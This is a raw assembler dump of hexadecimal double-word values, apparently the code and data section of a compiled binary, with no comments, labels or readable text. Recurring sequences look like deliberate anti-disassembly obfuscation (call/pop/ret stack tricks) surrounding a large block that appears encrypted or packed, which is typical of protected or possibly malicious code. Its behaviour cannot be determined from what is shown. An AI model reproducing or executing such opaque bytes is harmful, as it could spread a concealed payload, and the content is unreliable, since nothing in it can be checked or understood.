		dd 3061B30h, 1EA07D85h,	0BE906h, 0F4DA0000h, 4D590CAh
		dd 0E8F3A478h, 0C676h, 32398589h, 6A58061Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0BA55C351h, 0C19589h, 0BB90061Bh, 878DD4Bh, 9DA7BB50h
		dd 8B901104h, 1B140595h, 68C0F06h, 8B000000h, 1B0D418Dh
		dd 69B5FF06h, 6A061EA0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 7EBDC352h, 7EC4F07Dh
		dd 131DBD89h, 95FF061Bh, 61EA06Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 81C35141h, 6E99A7Ah, 0C00BC537h
		dd 45850Fh, 0BD8B0000h,	61B32E5h, 0A9958961h, 0C7061B0Bh
		dd 1EA07185h, 106h, 6ACABF00h, 47E93F9Eh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 9C23C356h, 0BB66ADC3h, 61F5CFFBh, 1795BD0Bh,	0C681061Bh
		dd 11Ch, 7E2729BAh, 0FDA9E908h,	9D89FFFFh, 61B02C9h, 12698589h
		dd 4E8061Bh, 0
		dd 0E9000080h, 0Ch, 49DD0A99h, 9ECDA7A1h, 0C9902E78h, 8BCF8B50h
		dd 0E9042444h, 11h, 0F2827AD9h,	63B8281Fh, 0F7E443C4h
		dd 0C58D67F9h, 50008B19h, 5A310F52h, 24448958h,	58CF8B04h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 49C35343h
		dd 6A74F2A9h, 7E900h, 5F60000h,	61DE4F3Ah, 61BD8B45h, 0FF061B1Bh
		dd 1EA079B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0CB81663Bh, 95FF049Ah, 61B0035h
		dd 13E9h, 859DF100h, 6D96080h, 9DFC98A7h, 0DBBD9022h, 0CCD36315h
		dd 0A071858Bh, 50F5061Eh, 489D78Bh, 8D55B624h, 1EA08185h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 60897C05h, 9E9h,	0D82FB800h, 240CFE0Ch
		dd 0BE9EFA4h, 18000000h, 0B1AAF083h, 0A87EEED8h, 9061EAE3h
		dd 50DE8B66h, 2B90D78Bh, 1B1A219Dh, 3E858D06h, 6A061EA0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0ABBEC351h, 6675848Eh, 8950D78Bh,	9D8B2404h
		dd 61B312Dh, 2B1595FFh,	6A061Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 9BFB40C3h, 8B683753h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 8B36A654h, 1B317D95h, 0D1BD8306h, 61B23h
		dd 0BD830975h, 61B3129h, 50137400h, 0B8C08B53h,	4D0h, 0A4889D8Dh
		dd 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50117400h,	4D0B853h
		dd 9D8D0000h, 61DA387h,	585BD3FFh, 25E1B589h, 6A061Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 605222C3h, 8B663DB5h, 0C08B61DFh, 93FE381h, 8B58197Ch
		dd 1B091D8Dh, 8C206h, 2FD59D89h, 8166061Bh, 8B0499DBh
		dd 35F180C0h, 0A09F858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0D38AF6C3h, 779B0FC5h
		dd 530FC0A9h, 0AFE48060h, 20D9D01h, 5B61061Bh, 8589FC8Ah
		dd 61B0E1Dh, 39EBh, 2CC00BEh, 2E400BEh,	0BEh, 3F330000h
		dd 33E4BB13h, 3BB88A0Ah, 3F9FDE1Bh, 7819B310h, 5656B21Ah
		dd 1A598A30h, 22C0DE32h, 3822AE31h, 33D1B62Ah, 36D1BA1Fh
		dd 0CB61BE1Eh, 506FDC0Fh, 0CB8FF51Fh, 371BC55Ch, 56E41EF5h
		dd 5644362Bh, 0B83DE7Eh, 3A5883BDh, 1269DA5Ah, 5668DA5Ah
		dd 37FDE7Eh, 992E10BDh,	62D3F011h, 0CBCE6E83h, 50B8F747h
		dd 750063FDh, 23E8D865h, 7FC95D77h, 563CC54Fh, 54DC70Ah
		dd 0EF361EF5h, 0DF47DE7Ah, 4D8E7FFBh, 1B4C5378h, 0A9EEC3D8h
		dd 0D52C85ADh, 4D0BF7C3h, 4169DE78h, 0EF368D2Eh, 0DF47DE7Ah
		dd 4D8E7FFBh, 6A4C5378h, 0A9EEC3DDh, 0DF2C85ADh, 4D3C0FEBh
		dd 41DB478h, 568EDD96h,	951DFE7Eh, 72F75724h, 72955F7Ah
		dd 56E8C47Ah, 95269C7Eh, 65BFD14h, 0E827B0A4h, 2C88E588h
		dd 0D848BE29h, 56A3DE7Eh, 37BC01FEh, 65285521h,	4D45BFF3h
		dd 0CBBF1878h, 1BC55Dh,	0BEDBDE14h, 5647DE7Dh, 0B60835Eh
		dd 52F5B2F7h, 52CC9AFFh, 5674DE68h, 85F98B3Bh, 0DD7B2ECDh
		dd 568A368Fh, 0EE15DE7Eh, 0D1AC42D6h, 56D1DE7Ch, 0EFB80FF5h
		dd 39EECCE5h, 521E9AF5h, 56968728h, 120712F4h, 417DA5Ah
		dd 8BCA6418h, 5939EF71h, 0E3E8DE7Eh, 0C19EE734h, 0C8641E2Ch
		dd 9F6D44B5h, 5167D2F1h, 9B47DE7Eh, 9ED04C35h, 0C8BF874h
		dd 56828626h, 56773628h, 81ADE7Eh, 229480BDh, 120FDA5Ah
		dd 565FDA5Ah, 0E5DE7Eh,	64164BBDh, 0E31735A2h, 506FF16Fh
		dd 563C5E71h, 0DB96DE7Eh, 5095CA37h, 26015BF3h,	56C9D860h
		dd 56D2362Ch, 0CC8DE7Eh, 2FD84BDh, 12BBDA5Ah, 5600DA5Ah
		dd 4CCDE7Eh, 0B4306BDh,	6631A3Ch, 0DD06EBDDh, 4DF1ABCBh
		dd 0BFA42178h, 563ADE77h, 6B5BC8C2h, 0C84DAD1h,	3C43B4FFh
		dd 554B887Eh, 76D1DE7Eh, 0DFB61D20h, 0D770FA0Ah, 413EFA3Ah
		dd 101DDE7Eh, 9291D28h,	0D72108D1h, 7F2CE1AFh, 4DFEABC3h
		dd 0BD8B678h, 87FF3D80h, 861EDAFFh, 3C01DFCCh, 5566887Eh
		dd 7647DE7Eh, 0DFFD1D20h, 0D7D5FA0Ah, 40ECFA3Ah, 1074DE7Eh
		dd 74671D28h, 9D96B8AEh, 0FF881516h, 0D4488C4Eh, 56A3DE7Eh
		dd 72E55F21h, 6641DA59h, 561E26F5h, 56500E81h, 561E362Ch
		dd 0CAEDE7Eh, 2CE84BDh,	1222DA5Ah, 56C4DA5Ah, 4AADE7Eh
		dd 0DF2353BDh, 4D1BEBC3h, 0DB985778h, 0BE88C0D3h, 5647DE6Ch
		dd 0C2F17DC9h, 140F6019h, 409F4C79h, 0FAC8CA1h,	0E33BCFE2h
		dd 5006CFD7h, 53765524h, 5647DCB2h, 0FB325BF7h,	9652D860h
		dd 0C36D5766h, 6572C0D3h, 54D667BEh, 0FCEEDE7Eh, 51E743F7h
		dd 3627D865h, 0E5636171h, 3086BF49h, 0EF8304FFh, 0D3B2BF26h
		dd 5021FDE3h, 31DB43Dh,	568EDD96h, 951AFE7Eh, 72CF5723h
		dd 72955F7Ah, 56E8C77Ah, 95219B7Eh, 97778D27h, 0E3944849h
		dd 5095DF73h, 564D371Eh, 1209DE7Eh, 62D43C0h, 82AAFD1h
		dd 569EB61Fh, 5ED324A4h, 0DF1DDE7Eh, 0E9A8833Eh, 0D7014940h
		dd 3D17FA4Ah, 56BBB8C3h, 56EB362Eh, 0E54DE7Eh, 12B386BDh
		dd 129CDA5Ah, 5693DA5Ah, 607DE7Eh, 26355EBDh, 39200E8Bh
		dd 598EEA0Eh, 0E38B25C1h, 5021F16Fh, 265B5BF3h,	0D981D860h
		dd 5647DE6Bh, 56A3D796h, 0E83817Eh, 858DECD8h, 0E37F8F10h
		dd 5021D96Fh, 30CD2120h, 0DF92CFC7h, 4D465FFBh,	3A3B478h
		dd 56D1DD96h, 95B5FE7Eh, 72185723h, 727E5F7Ah, 561DC97Ah
		dd 95DB9B7Eh, 2BA8C3A4h, 93D16018h, 7A405BF3h, 5682D865h
		dd 5677362Ch, 0C1ADE7Eh, 29484BDh, 120FDA5Ah, 5653DA5Ah
		dd 4E1DE7Eh, 0E8B71BBDh, 0D361F53Ch, 506FC47Fh,	0BE69DE14h
		dd 561DDE7Dh, 0D4D855Eh, 526382F7h, 52879AFFh, 56D1DE6Ah
		dd 5D2B8D3Dh, 0D3B220F5h, 5021FDE3h, 11DB42Dh, 568EDD96h
		dd 9518FE7Eh, 72DF5721h, 72955F7Ah, 56E8C77Ah, 9523997Eh
		dd 0FE04C87Ah, 0D01213DDh, 568EDE78h, 770643F7h, 524BD865h
		dd 8ED1DE7Eh, 0DD146F36h, 5C9D8EA8h, 0C03ADE7Eh, 0FE335E2Dh
		dd 0C4C7728Dh, 72035507h, 4118BE7Ah, 59C4FCF5h,	56E8DCFFh
		dd 37A7557Eh, 305ADEF5h, 55592C4h, 32166118h, 12CEBF24h
		dd 0DCF2DA5Ah, 308987AFh, 0A95C3CC4h, 4D5BCFCBh, 0B7AFDF78h
		dd 0DB1BC56Ch, 48FE98FBh, 739D5E78h, 0E1AC0E81h, 535457B7h
		dd 0DDEEC55Ch, 4D55D7EBh, 0CBBF1878h, 51BC55Dh,	0BEDBDE14h
		dd 5647DE7Dh, 0B60835Eh, 52F5B2F7h, 52CC9AFFh, 5674DE6Ah
		dd 6BF98B3Bh, 0DCF5F18h, 83ABB603h, 52C66C0Dh, 0F24C505Ah
		dd 7D1B45Bh, 56E8DD96h,	952DFE7Eh, 72765727h, 72595F7Ah
		dd 568EC77Ah, 95169F7Eh, 0AFAFF754h, 0D3DE35A0h, 56E8DE78h
		dd 7DF9535Dh, 0E3C5D865h, 5006F16Fh, 4BDF6BF5h,	0C34CD865h
		dd 50B8CE2Bh, 26975BF3h, 4400D860h, 1374DE7Eh, 0E557CFD9h
		dd 64D1F794h, 774A775Dh, 0CA7B65B4h, 0B022B8D4h, 0A98FAEB9h
		dd 56E536AEh, 4E8BDE7Eh, 0F69BBCCh, 0F74976Bh, 0AA4F932Dh
		dd 47C25724h, 3CA5C57Fh, 55398D7Eh, 76E8DE7Eh, 0DF2F1D25h
		dd 0D73EFA22h, 4C19FA3Ah, 158EDE7Eh, 89E1D2Dh, 0F003A8CBh
		dd 9764F7F4h, 90EEC57Dh, 4D5743FBh, 56509978h, 561E362Dh
		dd 0DAEDE7Eh, 0ACE85BDh, 1222DA5Ah, 56CADA5Ah
		dd 5ABDE7Eh, 0E9E5EBDh,	1A9EADB0h, 56093673h, 3508DE7Eh
		dd 0AD0A6344h, 0A5F8FC28h, 69CFD68Fh, 0C4948656h, 8889C10h
		dd 563ADA96h, 88C0777Eh, 6DC8EC9h, 0D8FEB82Ch, 3092D129h
		dd 0CCE2DC1h, 0CD9D126h, 509C8E26h, 363ADE7Eh, 207A82BEh
		dd 37EE8F1Ch, 12CC8127h, 0BEC3DA5Ah, 56D1DE7Bh,	4B0B0FB6h
		dd 0B9C66600h, 0E660AC5Dh, 5696BF3Bh, 0B91945C4h, 72035702h
		dd 0F31B607Ah, 3C89B0DBh, 55008C7Eh, 7674DE7Eh,	0DF601D24h
		dd 0D719FA2Ah, 4F8AFA3Ah, 1447DE7Eh, 95BC1D2Ch,	53D12778h
		dd 56EA5271h, 0ABC6DE7Eh, 792B6B81h, 0EB36D865h, 5095C2B3h
		dd 26015BF3h, 56C9D860h, 56D2362Fh, 0FC8DE7Eh, 1AFD87BDh
		dd 12BBDA5Ah, 5608DA5Ah, 7CFDE7Eh, 308423BDh, 0BAD304FFh
		dd 56BB0E81h, 56EB362Eh, 0E54DE7Eh, 12B386BDh, 129CDA5Ah
		dd 5697DA5Ah, 607DE7Eh,	25B33FBDh, 0E1B9B8h, 44294B57h
		dd 0DF2DD865h, 4D22DFFBh, 1DB478h, 568EDD96h, 9519FE7Eh
		dd 72D75720h, 72955F7Ah, 56E8C37Ah, 9522987Eh, 70869A1Eh
		dd 9DE91FC6h, 0CBA7F676h, 505CC287h, 753E5BB8h,	3C96D865h
		dd 55008B7Eh, 7674DE7Eh, 0DF671D23h, 0D719FA12h, 4A8AFA3Ah
		dd 1347DE7Eh, 445E1D2Bh, 5A41F528h, 0D7A00EC8h,	0B9D8B0A8h
		dd 0E897B678h, 5DA3FBB7h, 0D7939972h, 78AFA7Ah,	56C9826Ch
		dd 56D23629h, 9C8DE7Eh,	2AFD81BDh, 12BBDA5Ah, 5604DA5Ah
		dd 1C9DE7Eh, 4CAEF8BDh,	3010EB69h, 0A97145C7h, 4DC7CFCBh
		dd 574B478h, 563ADD96h,	9546FE7Eh, 72D25725h, 72035F7Ah
		dd 56A3CA7Ah, 95829D7Eh, 56E736DEh, 0DA8CDE7Eh,	0D7AB8FD6h
		dd 0A0866E95h, 1F4ACFB2h, 1AC961E4h, 0BFFAE936h, 56D1DE70h
		dd 0A93A4h, 5EFFD545h, 61AEBC16h, 0D390F38Dh, 5090AE38h
		dd 0BE12DE14h, 56A3DE7Dh, 0B12835Eh, 52CCB2F7h,	52509AFFh
		dd 563ADE68h, 0E6DE8B3Bh, 42670AD2h, 0FD47DE7Eh, 3C420517h
		dd 4A2F42AEh, 0E17391C3h, 8EE0C36Fh, 0AA50ED85h, 0BE7D0E81h
		dd 568EDE77h, 7C410C21h, 0C140DD46h, 8F27EBh, 56E8D997h
		dd 0D8A1CC7Eh, 404C9D70h, 0DB96BF25h, 5095DF4Fh, 64A65BF7h
		dd 56C9D865h, 56D2362Ch, 0CC8DE7Eh, 2FD84BDh, 12BBDA5Ah
		dd 5600DA5Ah, 4CCDE7Eh,	94A9CABDh, 6E40483Bh, 0D791835Ch
		dd 621141BFh, 0CBF11824h, 113CC55Dh, 743863F5h,	67E6D865h
		dd 3688A97Bh, 56A3D696h, 96FCD97Eh, 0FAF3D21Dh,	567F37EFh
		dd 1541DE7Eh, 10DF17F3h, 0A37E6A5Fh, 0D726842Eh, 6FCFFA4Ah
		dd 56BBBBC4h, 56EB362Fh, 0F54DE7Eh, 1AB387BDh, 129CDA5Ah
		dd 569BDA5Ah, 706DE7Eh,	594042BDh, 56D1DDF4h, 8757D17Eh
		dd 79656B81h, 0D333D865h, 5006FB97h, 0A04111FFh, 0D3CA8D75h
		dd 50BDAE38h, 0BE84DE14h, 56E8DE7Dh, 0BB7835Eh,	521EB2F7h
		dd 52399AFFh, 568EDE69h, 0CA848B3Bh, 0A9E83AE9h, 3D1B4AEh
		dd 56E8DD96h, 9529FE7Eh, 72565723h, 72595F7Ah, 568ECA7Ah
		dd 95129B7Eh, 332E5517h, 0DFD7C565h, 4DC14BFBh,	0DF8CBE78h
		dd 4D1053F3h, 86E2BF78h, 44A75BF7h, 562DD865h, 56A03628h
		dd 8F1DE7Eh, 226180BDh,	12F5DA5Ah, 5620DA5Ah, 5BDE7Eh
		dd 240264BDh, 8AEB2674h, 50956118h, 59095218h, 0B46811C9h
		dd 0DD70FAD1h, 4D171BF3h, 59DDD478h, 568D8BFAh,	547B47Eh
		dd 56A3DD96h, 958AFE7Eh, 72B45725h, 72305F7Ah, 563AC57Ah
		dd 954E9D7Eh, 0D37E7A69h, 54CC6BDBh, 9DF011FFh,	0D317FE3Ah
		dd 50F3FDE3h, 4FC95731h, 0DD3CC554h, 4D13CFF3h,	0A815B678h
		dd 0DD2168C5h, 72A75FADh, 5E15B057h, 40914B7Fh,	0E38BD865h
		dd 5021F16Fh, 0BE4FDE14h, 568EDE7Dh, 0C84845Eh,	52878AF7h
		dd 52F59AFFh, 56E8DE65h, 33B78C3Ch, 0BA086958h,	57F4FEBFh
		dd 4D963FCBh, 10C25378h, 0EFA5C00Eh, 1D60F8CDh,	0DB610E81h
		dd 506FF02Fh, 0DF1E1EFDh, 4D34BBEBh, 9839D178h,	64725BF7h
		dd 56C9D865h, 56D23628h, 8C8DE7Eh, 22FD80BDh, 12BBDA5Ah
		dd 5606DA5Ah, 0C8DE7Eh,	9341C9BDh, 0A7C463BAh, 5550D18Ah
		dd 30E8DE7Eh, 0D3FF11F5h, 5021CC57h, 47D44BF5h,	0CB05D865h
		dd 505CF7EBh, 54066BF7h, 3C92D865h, 55008D7Eh, 7674DE7Eh
		dd 0DF611D25h, 0D719FA22h, 4F8AFA3Ah, 1547DE7Eh, 0FBA11D2Dh
		dd 4DB98981h, 546D4BF5h, 0BE14D865h, 563ADE76h,	0E3CC9C46h
		dd 0CAEB2B61h, 645E63F5h, 0D6FAD865h, 0DDB093B5h, 4E8B465h
		dd 5674DD96h, 9560FE7Eh, 72495724h, 72CA5F7Ah, 5647C67Ah
		dd 95F19C7Eh, 1C55ABF1h, 0AB62BE0Ch, 3C6F551Fh,	55D28D7Eh
		dd 761DDE7Eh, 0DFD51D25h, 0D743FA22h, 4CA7FA3Ah, 15D1DE7Eh
		dd 5DE51D2Dh, 0E550A78Bh, 6BA7D70Dh, 0BF1BC571h, 568EDE76h
		dd 638A42EBh, 508618AFh, 56BBC5F5h, 56EB3629h, 954DE7Eh
		dd 2AB381BDh, 129CDA5Ah, 5699DA5Ah, 100DE7Eh, 7D8EB6BDh
		dd 4C55D1BFh, 36E8DE7Eh, 5674D397h, 0A59DE97Eh,	0A1729063h
		dd 64C80B64h, 0D94896BBh, 56A3DE7Eh, 0CF64551Fh, 65EEC551h
		dd 474B4A6h, 563ADD96h,	9547FE7Eh, 72DA5724h, 72035F7Ah
		dd 56A3CB7Ah, 95839C7Eh, 0AAB9697Ch, 67E95720h,	3C3CC554h
		dd 55F58E7Eh, 768EDE7Eh, 0DF1F1D26h, 0D7A7FA3Ah, 41D5FA3Ah
		dd 16E8DE7Eh, 0E4771D2Eh, 0D3FCD450h, 5006FDE3h, 0D130B839h
		dd 564336CAh, 8B0ADE7Eh, 0ECB769A0h, 0E8B8FA98h, 50C9F037h
		dd 521E9AF5h, 838F6018h, 0EDEEDEF5h, 14888038h,	0DFC226F5h
		dd 0ED5FA3Ah, 0BEBBDE14h, 5674DE7Dh, 0DF9855Eh,	523982F7h
		dd 52AA9AFFh, 5647DE6Ah, 50608D3Dh, 56D1CE96h, 0EE30557Eh
		dd 0A2EAAF4Dh, 0C4033C90h, 7E764977h, 8E06B8Ah,	79566B81h
		dd 56C9D865h, 56D23628h, 8C8DE7Eh, 22FD80BDh, 12BBDA5Ah
		dd 5604DA5Ah, 0C8DE7Eh,	0AFB592BDh, 66DE1AAh, 0D35C848Bh
		dd 50F6AE38h, 0BE22DE14h, 563ADE7Dh, 8DE805Eh, 52AAAAF7h
		dd 52639AFFh, 56A3DE69h, 97128838h, 0DD8CE8F7h,	4D5ADBCBh
		dd 53BFF778h, 0A91BC55Fh, 2F3BF7AEh, 0DF41C552h, 4DBBDFFBh
		dd 0E9912778h, 160C3486h, 561EDEF5h, 5639362Dh,	0D3DDE7Eh
		dd 0A0785BDh, 12C6DA5Ah, 56BEDA5Ah, 592DE7Eh, 21264ABDh
		dd 9CBB369Ch, 0DD88DD07h, 0F790577Eh, 0DF88C56Fh, 4D5E4BFBh
		dd 0A3B478h, 56D1DD96h,	95B6FE7Eh, 72005720h, 727E5F7Ah
		dd 561DC57Ah, 95D8987Eh, 0ACBC6FA1h, 6D3C3A55h,	0BF265518h
		dd 56E8DEDBh, 0C238C2Dh, 0D3B78724h, 500373CDh,	5BC3434Fh
		dd 36D7D865h, 377D5518h, 56C1372Eh, 0AF9FDE7Eh,	22136499h
		dd 67BBC988h, 4F7D1ECAh, 0D71EA70Dh, 36BB9A89h,	2736211Ah
		dd 59D7C564h, 56E8D8FCh, 0D7F9577Eh, 0DB3CC56Eh, 48B067E3h
		dd 8131D178h, 5FC6D12Eh, 36A3DE7Eh, 1C690FF5h, 3797F14Bh
		dd 6750C2F7h, 4D16DBCBh, 0DD7B8E78h, 728A57AEh,	0C3B826F5h
		dd 50B8F153h, 0A9385F18h, 378889A3h, 63F15727h,	3C3CC54Ch
		dd 55F58D7Eh, 768EDE7Eh, 0DF1C1D25h, 0D7A7FA22h, 40D5FA3Ah
		dd 15E8DE7Eh, 3ED41D2Dh, 0CBBF18B4h, 51BC55Dh, 0BED9DE14h
		dd 5647DE7Dh, 960815Eh,	52F5A2F7h, 52CC9AFFh, 5674DE66h
		dd 0CDF98939h, 0E8C1A986h, 568B5871h, 1F9DE7Eh,	3E93824Ch
		dd 0CAC85DC1h, 96CCEAFFh, 3C424079h, 55D28C7Eh,	761DDE7Eh
		dd 0DFD41D24h, 0D743FA2Ah, 4CA7FA3Ah, 14D1DE7Eh, 49451D2Ch
		dd 0C64A1043h, 67AFF7C7h, 0AF1BC551h, 799F6B81h, 0D3CED865h
		dd 50B8C64Bh, 26975BF3h
		dd 5682D860h, 56773629h, 91ADE7Eh, 2A9481BDh, 120FDA5Ah
		dd 5651DA5Ah, 1E4DE7Eh,	4CABDFBDh, 56E8DB97h, 180A427Eh
		dd 86C5BA34h, 0BE4CDE14h, 568EDE7Dh, 0F84875Eh,	528792F7h
		dd 52F59AFFh, 56E8DE66h, 0F0B78F3Fh, 2184809Eh,	42305BF7h
		dd 30EED865h, 0E3CE0EF5h, 50B8F087h, 865AB81Fh,	75755BB8h
		dd 6733D865h, 4D3887EBh, 56193678h, 431EDE7Eh, 8EFE7F0Ch
		dd 6F330E9h, 56D55F71h,	0E98EDE7Eh, 12FF9030h, 7B84DA5Ah
		dd 0DD05C1A2h, 0DF40557Eh, 5943FA3Ah, 56A3D1F9h, 56DB377Eh
		dd 0EE6DDE7Eh, 0D13F5EA8h, 18A9A38Dh, 56093726h, 18D8DE7Eh
		dd 93924D8Ch, 0FE7E3D6Fh, 0BE7871A6h, 891D67A2h, 0E38B0685h
		dd 5021F16Fh, 0BE4EDE14h, 568EDE7Dh, 0D84855Eh,	528782F7h
		dd 52F59AFFh, 56E8DE6Ah, 13B78D3Dh, 218C2CFFh, 0D390E7D7h
		dd 5090AE38h, 7B7A6BF5h, 865CD865h, 7354571Eh, 0E2EEC575h
		dd 0D3FDBF82h, 5021C5B7h, 0B2AC37FFh, 0D348DEBDh, 505CFDE3h
		dd 5A3B42Dh, 56D1DD96h,	95B3FE7Eh, 72285725h, 727E5F7Ah
		dd 561DC77Ah, 95DD9D7Eh, 6FD2C0C0h, 30C39B9Dh, 0D35A15F5h
		dd 50F3D4CFh, 2FC1F71Fh, 0BE3CC579h, 561DDE7Ah,	0CFB781EEh
		dd 6B65518h, 52879AF5h,	56CD5171h, 0D6E7DE7Eh, 5674DE68h
		dd 563ACE96h, 9B167B7Eh, 0FAAD9944h, 5ABFB4A7h,	135BF7E0h
		dd 565A876Ah, 52CC9AF7h, 5674DB97h, 875F767Eh, 3C45F628h
		dd 55668F7Eh, 7647DE7Eh, 0DFFA1D27h, 0D7D5FA32h, 4BECFA3Ah
		dd 1774DE7Eh, 522D1D2Fh, 0B9EE67CCh, 327FA90Dh,	79566B81h
		dd 56C9D865h, 56D23629h, 9C8DE7Eh, 2AFD81BDh, 12BBDA5Ah
		dd 5607DA5Ah, 1C9DE7Eh,	9D0467BDh, 0DFCC1EB7h, 56D1D796h
		dd 2CBE3D7Eh, 3BAEC7F7h, 0DD5A5510h, 371568B5h,	100B5327h
		dd 6541C00Eh, 4DB493C3h, 5051D178h, 67E8DE7Eh, 4D6F77E3h
		dd 0ECEA2178h, 77104C98h, 790B5BF7h, 0DB6CD865h, 50B8CF5Fh
		dd 754C5BB8h, 0E4BFD865h, 532EB657h, 0DD5C557Bh, 72195F89h
		dd 527192D2h, 0BE12DE14h, 56A3DE7Dh, 0B12835Eh,	52CCB2F7h
		dd 52509AFFh, 563ADE68h, 9DE8B3Bh, 0D681AF1Ch, 5647DE78h
		dd 5D1E6BF5h, 0D3D8D865h, 50F3D887h, 79656B81h,	42D3D865h
		dd 0AD1DDE7Eh, 0E4E6A676h, 0C2B82A6Bh, 50995C0Ch, 88C633BCh
		dd 0DB35E107h, 480498FBh, 4BA75778h, 0A91BC54Eh, 569D37AEh
		dd 58E7DE7Eh, 7DF5CC83h, 8667D2EEh, 7848F036h, 0A509AF6h
		dd 50BAD195h, 0DF1DDE7Eh, 4DAD13FBh, 53C25778h,	30A5C576h
		dd 0D31729F5h, 50F3FDE3h, 474B43Dh, 563ADD96h, 9547FE7Eh
		dd 72DA5724h, 72035F7Ah, 56A3C27Ah, 95839C7Eh, 18ACE406h
		dd 1339518Eh, 6FCC5E69h, 36C82C16h, 728A5F38h, 20684448h
		dd 0BEF5DE14h, 56D1DE7Dh, 82B805Eh, 5250AAF7h, 521E9AFFh
		dd 561DDE64h, 0F4D8838h, 168AD7F6h, 0B822A18Fh,	0F4D2021h
		dd 79F96B81h, 0DC7BD865h, 563ADE7Eh, 265B5BF3h,	56E4D860h
		dd 5644362Fh, 0F83DE7Eh, 1A5887BDh, 1269DA5Ah, 5663DA5Ah
		dd 77BDE7Eh, 0B15947BDh, 0A739D121h, 0D4480E81h, 56A3DE78h
		dd 0ADC110FFh, 0D361C817h, 506FF59Fh, 0BE68DE14h, 561DDE7Dh
		dd 0C4D845Eh, 52638AF7h, 52879AFFh, 56D1DE69h, 0C62B8C3Ch
		dd 0EF3D9F98h, 59814982h, 0FBB45BF3h, 56E4D860h, 5644362Dh
		dd 0D83DE7Eh, 0A5885BDh, 1269DA5Ah, 5669DA5Ah, 579DE7Eh
		dd 15E128BDh, 5B03DE2h,	0DF770896h, 4DB443CBh, 52588E78h
		dd 35DEF5Ah, 0A972C57Eh, 4D20AFEBh, 8E962678h, 0BEDEDE14h
		dd 5647DE7Dh, 0E60865Eh, 52F59AF7h, 52CC9AFFh, 5674DE6Ah
		dd 77F98E3Eh, 561F5371h, 1B38DE7Eh, 0FBDA5BF3h,	0EB2AD860h
		dd 50CAEC6Fh, 4B8892Eh,	496A6718h, 46AEF71h, 0E47EF71h
		dd 0DFD08624h, 562DFA7Ah, 56A03628h, 8F1DE7Eh, 226180BDh
		dd 12F5DA5Ah, 5627DA5Ah, 5BDE7Eh, 0ADB6ECBDh, 0A7B3C92Dh
		dd 300789B5h, 0EC4226F5h, 7DCE7492h, 561E4D2Eh,	56393628h
		dd 83DDE7Eh, 220780BDh,	12C6DA5Ah, 56BFDA5Ah, 97DE7Eh
		dd 9C49FCBDh, 0DDC5D145h, 0C3C59F50h, 5006F153h, 7BDF63F5h
		dd 0D3CED865h, 50B8D23Bh, 91015518h, 4DE143FBh,	5674D178h
		dd 0C3C52B7Eh, 5006D23Bh, 4F0B5782h, 7F41C564h,	4D92FFF3h
		dd 0D7545578h, 0DBEEC57Fh, 48B4D0E3h, 57795778h, 7A8C63F3h
		dd 0E303D865h, 50596196h, 56A3EDC7h, 0BD752D7Eh, 56E8664Dh
		dd 967FDE7Eh, 4EF8DD0Ah, 7259557Eh, 56668D72h, 0D47DE7Eh
		dd 56B41DFFh, 0A58DE7Eh, 1261CE5Ah, 0EE2FCA5Ah,	56A47E49h
		dd 12963E81h, 0B671DA5Ah, 3BA556C1h, 3A3B451h, 56D1DD96h
		dd 95B5FE7Eh, 72185723h, 727E5F7Ah, 561DCA7Ah, 95DB9B7Eh
		dd 0EBCCBF09h, 50B8DE6Bh, 0FB4C63F3h, 0DB65D860h, 506A1E21h
		dd 7091EBC6h, 9398EDE6h, 7D88C55Fh, 1E361FB1h, 0FCB61BEh
		dd 1F506FDCh, 5CCB8FF5h, 0F5371BC5h, 2B56E41Eh,	7E564436h
		dd 0F305E983h, 6AD98BA4h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 3EB7C352h, 5B9AFC5Fh
		dd 0E91C6B0Bh, 53h, 48A0F60h, 66000000h, 0E85E1DBEh, 0Ch
		dd 0D50A814Eh, 4BF756F6h, 0C71332DCh, 615BC38Bh, 8A0F6061h
		dd 3, 5746CC80h, 5AD0B70Fh, 6AC361h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 5B63BC3h
		dd 8B6C15FAh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0C820F94h, 60000000h, 0C0EE8166h
		dd 2DE5BAF7h, 60614C11h, 0DE9h,	0B8FB7F00h, 719A727Ch
		dd 6313EEC7h, 83614631h, 1B23D1BDh, 9750006h, 3129BD83h
		dd 7400061Bh, 8B535019h, 4B9B8C0h, 85890000h, 61B2131h
		dd 0A6B49D8Dh, 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50177400h
		dd 4B9B853h, 85890000h,	61B2131h, 0A3559D8Dh, 0D3FF061Dh
		dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A967A5C3h, 59774B10h, 0F9CDF8E1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A6C35141h, 52EEA4C5h
		dd 6AC08B31h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 6B9C353h, 2AC54487h, 83750CE5h
		dd 0C18B40FCh, 9DD9D89h, 4EB061Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 44C35343h
		dd 5403DB23h, 42A3677Fh, 0FF38BDAh, 58Dh, 2A0CBF00h, 6A72EAh
